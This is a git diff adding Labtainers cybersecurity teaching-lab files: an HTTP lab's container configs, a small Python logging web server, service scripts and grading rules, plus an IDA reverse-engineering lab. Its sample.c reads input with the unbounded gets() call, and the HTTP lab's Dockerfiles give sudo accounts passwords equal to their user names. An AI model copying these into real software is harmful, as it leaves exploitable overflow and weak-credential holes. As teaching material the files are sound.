000000000..7f17b0c21 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/start.config @@ -0,0 +1,31 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED httplab_jean_seed + +# SUBNETS +NETWORK SOME_NETWORK + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +# Container name and settings +CONTAINER server + USER ubuntu + TERMINALS 1 + SOME_NETWORK 172.20.0.3 + +CONTAINER client + USER ubuntu + TERMINALS 1 + XTERM INSTRUCTIONS + SOME_NETWORK 172.20.0.2 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/dockerfiles/Dockerfile.httplab.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/dockerfiles/Dockerfile.httplab.client.student new file mode 100644 index 000000000..b13c02cca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/dockerfiles/Dockerfile.httplab.client.student @@ -0,0 +1,18 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/dockerfiles/Dockerfile.httplab.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/dockerfiles/Dockerfile.httplab.server.student new file mode 100644 index 000000000..b13c02cca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/dockerfiles/Dockerfile.httplab.server.student @@ -0,0 +1,18 @@ +ARG registry +FROM $registry/labtainer.network +MAINTAINER jkhosali@nps.edu +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/instr_config/goals.config new file mode 100644 index 000000000..817440d2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/instr_config/goals.config @@ -0,0 +1,10 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for http lab + +get_index_ok = matchany : string_equal : getindexhtml : answer=True +get_link1_ok = matchany : string_equal : getlink1html : answer=True +get_link2_ok = matchany : string_equal : getlink2html : answer=True + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/instr_config/results.config new file mode 100644 index 000000000..8eabc3771 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for http lab + +getindexhtml = server:/var/log/myhttplogfile.txt : CONTAINS : GET /index.html +getlink1html = server:/var/log/myhttplogfile.txt : CONTAINS : GET /link1.html +getlink2html = server:/var/log/myhttplogfile.txt : CONTAINS : GET /link2.html + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_bin/fixlocal.sh new file mode 100644 index 000000000..092e03ca6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_bin/fixlocal.sh @@ -0,0 +1,3 @@ +#!/bin/bash +sudo systemctl enable httpserver +sudo systemctl start httpserver diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/etc/init.d/httpserver.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/etc/init.d/httpserver.sh new file mode 100755 index 000000000..e2a134b67 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/etc/init.d/httpserver.sh @@ -0,0 +1,62 @@ +#!/bin/sh + +### BEGIN INIT INFO +# Provides: httpserver +# Required-Start: $syslog +# Required-Stop: $syslog +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: Put a short description of the service here +# Description: Put a long description of the service here +### END INIT INFO + +# Change the next 3 lines to suit where you install your script and what you want to call it +DIR=/home/ubuntu +DAEMON=$DIR/MyHTTPServer.py +DAEMON_NAME=httpserver + +# Add any command line options for your daemon here +DAEMON_OPTS="" + +# This next line determines what user the script runs as. +DAEMON_USER=root + +# The process ID of the script when it runs is stored here: +PIDFILE=/var/run/$DAEMON_NAME.pid + +. /lib/lsb/init-functions + +do_start () { + log_daemon_msg "Starting system $DAEMON_NAME daemon" + start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile -d $DIR --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON -- $DAEMON_OPTS + log_end_msg $? +} +do_stop () { + log_daemon_msg "Stopping system $DAEMON_NAME daemon" + start-stop-daemon --stop --pidfile $PIDFILE --retry 10 + log_end_msg $? +} + + +case "$1" in + + start|stop) + do_${1} + ;; + + restart|reload|force-reload) + do_stop + do_start + ;; + + status) + status_of_proc "$DAEMON_NAME" "$DAEMON" && exit 0 || exit $? + ;; + + *) + echo "Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}" + exit 1 + ;; + +esac +exit 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..aea420791 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,11 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +ExecStart=/home/ubuntu/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/sbin/faux_init new file mode 100755 index 000000000..3606a3d32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/_system/sbin/faux_init @@ -0,0 +1,17 @@ +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +/etc/init.d/httpserver.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/index.html new file mode 100644 index 000000000..ff1b7c6c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/index.html @@ -0,0 +1,12 @@ + +Sample index.html for MyHTTPServer + +

Sample index.html for MyHTTPServer

+
+

Links:

+
+link1.html +
+link2.html + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/link1.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/link1.html new file mode 100644 index 000000000..485184386 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/link1.html @@ -0,0 +1,15 @@ + +Sample link1.html for MyHTTPServer + +This is sample

link1.html

for MyHTTPServer +
+index.html +
+link2.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/link2.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/link2.html new file mode 100644 index 000000000..590447299 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/server/link2.html @@ -0,0 +1,15 @@ + +Sample link2.html for MyHTTPServer + +This is sample

link2.html

for MyHTTPServer +
+index.html +
+link1.html +
+# The secret string below will be replaced with a keyed hash +
+My secret string is: HTTP_SECRET +
+ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/start.config new file mode 100644 index 000000000..780bde2e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/config/start.config @@ -0,0 +1,41 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER ida + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED ida_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER ida + USER ubuntu + SCRIPT NONE + X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/dockerfiles/Dockerfile.ida.ida.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/dockerfiles/Dockerfile.ida.ida.student new file mode 100644 index 000000000..3d873d7e9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/dockerfiles/Dockerfile.ida.ida.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +RUN apt-get update && apt-get install -y xcb +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/Makefile new file mode 100644 index 000000000..f719b5196 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/Makefile @@ -0,0 +1,6 @@ +ida.pdf: ida.docx + soffice --convert-to pdf ida.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/ida.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/ida.docx new file mode 100644 index 000000000..66d6825d8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/ida.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/read_first.txt new file mode 100644 index 000000000..b4f3144c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/ida.pdf + +You may open that file by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_bin/fixlocal.sh new file mode 100755 index 000000000..8824e6434 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +cd $HOME +./mk.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/mk.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/mk.sh new file mode 100755 index 000000000..d89fb6023 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/mk.sh @@ -0,0 +1 @@ +gcc -m32 sample.c -o sample diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/sample.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/sample.c new file mode 100644 index 000000000..40a236150 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/ida/sample.c @@ -0,0 +1,20 @@ +#include +int main(int argc, char * argv[]) +{ + char string[100]; + int c = 0, count[26] = {0}; + printf("Enter a string:\n"); + gets(string); + while ( string[c] != '\0' ) + { + if ( string[c] >= 'a' && string[c] <= 'z' ) + count[string[c]-'a']++; + c++; + } + for ( c = 0 ; c < 26 ; c++ ) + { + if ( count[c] != 0 ) + printf("%d %d.\n",c+'a',count[c]); + } + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ida/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables-ics/client1/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git 